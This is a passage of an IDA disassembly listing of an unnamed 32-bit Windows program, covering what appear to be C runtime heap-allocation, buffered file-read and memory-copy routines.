loc_417060:				; CODE XREF: sub_416E7A+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4170AA
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_41708B
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4170A7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_41708B:				; CODE XREF: sub_416E7A+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4170A7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4170A7:				; CODE XREF: sub_416E7A+208j
					; sub_416E7A+20Fj ...
		mov	ebx, [ebp+arg_4]


loc_4170AA:				; CODE XREF: sub_416E7A+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4170D1
		push	3Fh
		pop	esi


loc_4170D1:				; CODE XREF: sub_416E7A+1D1j
					; sub_416E7A+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_417148
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_41711F
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417117
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_417117:				; CODE XREF: sub_416E7A+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_41713F
; ---------------------------------------------------------------------------


loc_41711F:				; CODE XREF: sub_416E7A+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_417135
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_417135:				; CODE XREF: sub_416E7A+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]


loc_41713F:				; CODE XREF: sub_416E7A+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_417148:				; CODE XREF: sub_416E7A+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_417151:				; CODE XREF: sub_416E7A+196j
					; sub_416E7A:loc_41701Cj
		xor	eax, eax
		inc	eax


loc_417154:				; CODE XREF: sub_416E7A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417159	proc near		; CODE XREF: sub_41318A+89p
					; sub_4133A6+2Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	eax, dword_47A624
		mov	edx, dword_47A628
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_417196
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_4171A3
; ---------------------------------------------------------------------------


loc_417196:				; CODE XREF: sub_417159+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax


loc_4171A3:				; CODE XREF: sub_417159+3Bj
		mov	eax, dword_47A630
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_4171C5
; ---------------------------------------------------------------------------


loc_4171B1:				; CODE XREF: sub_417159+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4171CA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]


loc_4171C5:				; CODE XREF: sub_417159+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_4171B1


loc_4171CA:				; CODE XREF: sub_417159+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4171F3
		mov	ebx, edx
		jmp	short loc_4171E4
; ---------------------------------------------------------------------------


loc_4171D3:				; CODE XREF: sub_417159+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4171EB
		add	ebx, 14h


loc_4171E4:				; CODE XREF: sub_417159+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_4171D3


loc_4171EB:				; CODE XREF: sub_417159+86j
		cmp	ebx, eax
		jz	loc_417287


loc_4171F3:				; CODE XREF: sub_417159+74j
					; sub_417159+170j
		mov	dword_47A630, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41721A
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_417250


loc_41721A:				; CODE XREF: sub_417159+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41724D


loc_417236:				; CODE XREF: sub_417159+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_417236


loc_41724D:				; CODE XREF: sub_417159+DBj
		mov	edx, [ebp+var_4]


loc_417250:				; CODE XREF: sub_417159+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_4172D9
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_4172D9
; ---------------------------------------------------------------------------


loc_41727B:				; CODE XREF: sub_417159+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41728C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_417287:				; CODE XREF: sub_417159+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_41727B


loc_41728C:				; CODE XREF: sub_417159+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4172B7
		mov	ebx, edx
		jmp	short loc_41729E
; ---------------------------------------------------------------------------


loc_417295:				; CODE XREF: sub_417159+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4172A5
		add	ebx, 14h


loc_41729E:				; CODE XREF: sub_417159+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_417295


loc_4172A5:				; CODE XREF: sub_417159+140j
		cmp	ebx, eax
		jnz	short loc_4172B7
		call	sub_416CBD
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4172CF


loc_4172B7:				; CODE XREF: sub_417159+136j
					; sub_417159+14Ej
		push	ebx
		call	sub_416D74
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_4171F3


loc_4172CF:				; CODE XREF: sub_417159+15Cj
		xor	eax, eax
		jmp	loc_417450
; ---------------------------------------------------------------------------


loc_4172D6:				; CODE XREF: sub_417159+182j
		shl	ecx, 1
		inc	edi


loc_4172D9:				; CODE XREF: sub_417159+111j
					; sub_417159+120j
		test	ecx, ecx
		jge	short loc_4172D6
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_4172FA
		push	3Fh
		pop	esi


loc_4172FA:				; CODE XREF: sub_417159+19Cj
		cmp	esi, edi
		jz	loc_417403
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_417366
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_41733A
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_417363
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_417366
; ---------------------------------------------------------------------------


loc_41733A:				; CODE XREF: sub_417159+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_417363
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_417366
; ---------------------------------------------------------------------------


loc_417363:				; CODE XREF: sub_417159+1D5j
					; sub_417159+1FDj
		mov	ebx, [ebp+arg_0]


loc_417366:				; CODE XREF: sub_417159+1AFj
					; sub_417159+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41740F
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_417400
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_4173D7
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4173C5
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_4173C5:				; CODE XREF: sub_417159+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_417400
; ---------------------------------------------------------------------------


loc_4173D7:				; CODE XREF: sub_417159+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4173EA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4173EA:				; CODE XREF: sub_417159+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_417400:				; CODE XREF: sub_417159+247j
					; sub_417159+27Cj
		mov	ecx, [ebp+var_8]


loc_417403:				; CODE XREF: sub_417159+1A3j
		test	ecx, ecx
		jz	short loc_417412
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740F:				; CODE XREF: sub_417159+223j
		mov	ecx, [ebp+var_8]


loc_417412:				; CODE XREF: sub_417159+2ACj
					; sub_417159+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_417448
		cmp	ebx, dword_47A620
		jnz	short loc_417448
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_47A638
		jnz	short loc_417448
		and	dword_47A620, 0


loc_417448:				; CODE XREF: sub_417159+2D3j
					; sub_417159+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_417450:				; CODE XREF: sub_417159+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417159	endp


; =============== S U B	R O U T	I N E =======================================



sub_417455	proc near		; CODE XREF: sub_413055+AAp
					; sub_4142F5+44p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_417531
		test	al, 40h
		jnz	loc_417531
		test	al, 2
		jz	short loc_41747C
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_417531
; ---------------------------------------------------------------------------


loc_41747C:				; CODE XREF: sub_417455+1Aj
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417491
		push	esi
		call	sub_41AA0C
		pop	ecx
		jmp	short loc_417496
; ---------------------------------------------------------------------------


loc_417491:				; CODE XREF: sub_417455+31j
		mov	eax, [esi+8]
		mov	[esi], eax


loc_417496:				; CODE XREF: sub_417455+3Aj
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_417703
		add	esp, 0Ch
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_417520
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417520
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_4174F5
		mov	ecx, [esi+10h]
		cmp	ecx, 0FFFFFFFFh
		push	edi
		jz	short loc_4174DB
		mov	edi, ecx
		sar	edi, 5
		mov	edi, dword_47A2E0[edi*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		lea	edi, [edi+ecx*4]
		jmp	short loc_4174E0
; ---------------------------------------------------------------------------


loc_4174DB:				; CODE XREF: sub_417455+6Dj
		mov	edi, offset dword_42D068


loc_4174E0:				; CODE XREF: sub_417455+84j
		mov	cl, [edi+4]
		and	cl, 82h
		cmp	cl, 82h
		pop	edi
		jnz	short loc_4174F5
		or	edx, 2000h
		mov	[esi+0Ch], edx


loc_4174F5:				; CODE XREF: sub_417455+64j
					; sub_417455+95j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_417512
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_417512
		test	ch, 4
		jnz	short loc_417512
		mov	dword ptr [esi+18h], 1000h


loc_417512:				; CODE XREF: sub_417455+A7j
					; sub_417455+AFj ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417520:				; CODE XREF: sub_417455+57j
					; sub_417455+5Cj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_417531:				; CODE XREF: sub_417455+Aj
					; sub_417455+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_417455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417536	proc near		; CODE XREF: sub_417703+52p
					; sub_41BFAD+2A7p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_8], 0
		cmp	[ebp+arg_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edx, ebx
		jz	loc_4176FC
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	esi, [eax+eax*8]
		lea	edi, ds:47A2E0h[ecx*4]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 2
		jnz	loc_4176FC
		test	cl, 48h
		jz	short loc_41759C
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41759C
		dec	[ebp+arg_8]
		mov	[ebx], al
		mov	eax, [edi]
		lea	edx, [ebx+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41759C:				; CODE XREF: sub_417536+47j
					; sub_417536+4Ej
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [edi]
		push	edx
		push	dword ptr [eax+esi]
		call	ds:dword_41F058	; ReadFile
		test	eax, eax
		jnz	short loc_4175EE
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_4175D6
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		mov	[eax], esi
		jmp	short loc_4175E6
; ---------------------------------------------------------------------------


loc_4175D6:				; CODE XREF: sub_417536+8Aj
		cmp	eax, 6Dh
		jz	loc_4176FC
		push	eax
		call	sub_417C82
		pop	ecx


loc_4175E6:				; CODE XREF: sub_417536+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_4176FE
; ---------------------------------------------------------------------------


loc_4175EE:				; CODE XREF: sub_417536+7Dj
		mov	eax, [edi]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [ecx]
		test	al, al
		jns	loc_4176F7
		test	edx, edx
		jz	short loc_417611
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_417611
		or	al, 4
		jmp	short loc_417613
; ---------------------------------------------------------------------------


loc_417611:				; CODE XREF: sub_417536+D0j
					; sub_417536+D5j
		and	al, 0FBh


loc_417613:				; CODE XREF: sub_417536+D9j
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], ecx
		jnb	loc_4176F1


loc_41762B:				; CODE XREF: sub_417536+1A3j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_4176E1
		cmp	al, 0Dh
		jz	short loc_417647
		mov	[ebx], al
		inc	ebx
		inc	[ebp+arg_8]
		jmp	loc_4176D3
; ---------------------------------------------------------------------------


loc_417647:				; CODE XREF: sub_417536+104j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_417661
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41765C
		add	[ebp+arg_8], 2
		jmp	short loc_4176B5
; ---------------------------------------------------------------------------


loc_41765C:				; CODE XREF: sub_417536+11Ej
		mov	[ebp+arg_8], eax
		jmp	short loc_4176CF
; ---------------------------------------------------------------------------


loc_417661:				; CODE XREF: sub_417536+115j
		inc	[ebp+arg_8]
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [edi]
		push	dword ptr [eax+esi]
		call	ds:dword_41F058	; ReadFile
		test	eax, eax
		jnz	short loc_417689
		call	ds:dword_41F008	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4176CF


loc_417689:				; CODE XREF: sub_417536+147j
		cmp	[ebp+var_C], 0
		jz	short loc_4176CF
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_4176AA
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_4176B5
		mov	byte ptr [ebx],	0Dh
		mov	ecx, [edi]
		mov	[ecx+esi+5], al
		jmp	short loc_4176D2
; ---------------------------------------------------------------------------


loc_4176AA:				; CODE XREF: sub_417536+160j
		cmp	ebx, [ebp+arg_4]
		jnz	short loc_4176BA
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_4176BA


loc_4176B5:				; CODE XREF: sub_417536+124j
					; sub_417536+167j
		mov	byte ptr [ebx],	0Ah
		jmp	short loc_4176D2
; ---------------------------------------------------------------------------


loc_4176BA:				; CODE XREF: sub_417536+177j
					; sub_417536+17Dj
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_419BC9
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_4176D3


loc_4176CF:				; CODE XREF: sub_417536+129j
					; sub_417536+151j ...
		mov	byte ptr [ebx],	0Dh


loc_4176D2:				; CODE XREF: sub_417536+172j
					; sub_417536+182j
		inc	ebx


loc_4176D3:				; CODE XREF: sub_417536+10Cj
					; sub_417536+197j
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41762B
		jmp	short loc_4176F1
; ---------------------------------------------------------------------------


loc_4176E1:				; CODE XREF: sub_417536+FCj
		mov	eax, [edi]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_4176F1
		or	al, 2
		mov	[esi], al


loc_4176F1:				; CODE XREF: sub_417536+EFj
					; sub_417536+1A9j ...
		sub	ebx, [ebp+arg_4]
		mov	[ebp+var_8], ebx


loc_4176F7:				; CODE XREF: sub_417536+C8j
		mov	eax, [ebp+var_8]
		jmp	short loc_4176FE
; ---------------------------------------------------------------------------


loc_4176FC:				; CODE XREF: sub_417536+16j
					; sub_417536+3Ej ...
		xor	eax, eax


loc_4176FE:				; CODE XREF: sub_417536+B3j
					; sub_417536+1C4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417536	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_413055+91p
					; sub_417455+4Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00417792 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_427A40
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	short loc_417792
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417792
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_417762
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_417536
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_417779
; ---------------------------------------------------------------------------


loc_417762:				; CODE XREF: sub_417703+49j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_417779:				; CODE XREF: sub_417703+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41778A
		mov	eax, [ebp+var_1C]
		jmp	short loc_4177A8
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417787	proc near		; DATA XREF: .rdata:stru_427A40o
		mov	ebx, [ebp+8]
sub_417787	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41778A	proc near		; CODE XREF: sub_417703+7Ap
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_41778A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417703


loc_417792:				; CODE XREF: sub_417703+15j
					; sub_417703+35j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_4177A8:				; CODE XREF: sub_417703+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_417703
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177B0	proc near		; CODE XREF: sub_413055+5Fp
					; sub_41318A+A8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4177D0
		cmp	edi, eax
		jb	loc_41794C


loc_4177D0:				; CODE XREF: sub_4177B0+16j
		test	edi, 3
		jnz	short loc_4177EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41780C
		rep movsd
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------


loc_4177EC:				; CODE XREF: sub_4177B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_417804
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41780C+4[eax*4]
; ---------------------------------------------------------------------------


loc_417804:				; CODE XREF: sub_4177B0+46j
		jmp	dword ptr ds:loc_41790C[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41780C:				; CODE XREF: sub_4177B0+31j
					; sub_4177B0+8Ej ...
		jmp	ds:off_417890[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417820
		dd offset loc_41784C
		dd offset loc_417870
; ---------------------------------------------------------------------------


loc_417820:				; DATA XREF: sub_4177B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41780C
		rep movsd
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41784C:				; DATA XREF: sub_4177B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41780C
		rep movsd
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417870:				; DATA XREF: sub_4177B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41780C
		rep movsd
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417890	dd offset loc_4178F3	; DATA XREF: sub_4177B0:loc_41780Cr
		dd offset loc_4178E0
		dd offset loc_4178D8
		dd offset loc_4178D0
		dd offset loc_4178C8
		dd offset loc_4178C0
		dd offset loc_4178B8
		dd offset loc_4178B0
; ---------------------------------------------------------------------------


loc_4178B0:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4178B8:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4178C0:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4178C8:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4178D0:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4178D8:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4178E0:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4178F3:				; CODE XREF: sub_4177B0:loc_41780Cj
					; DATA XREF: sub_4177B0:off_417890o
		jmp	ds:off_4178FC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4178FC	dd offset loc_41790C	; DATA XREF: sub_4177B0+35r
					; sub_4177B0+92r ...
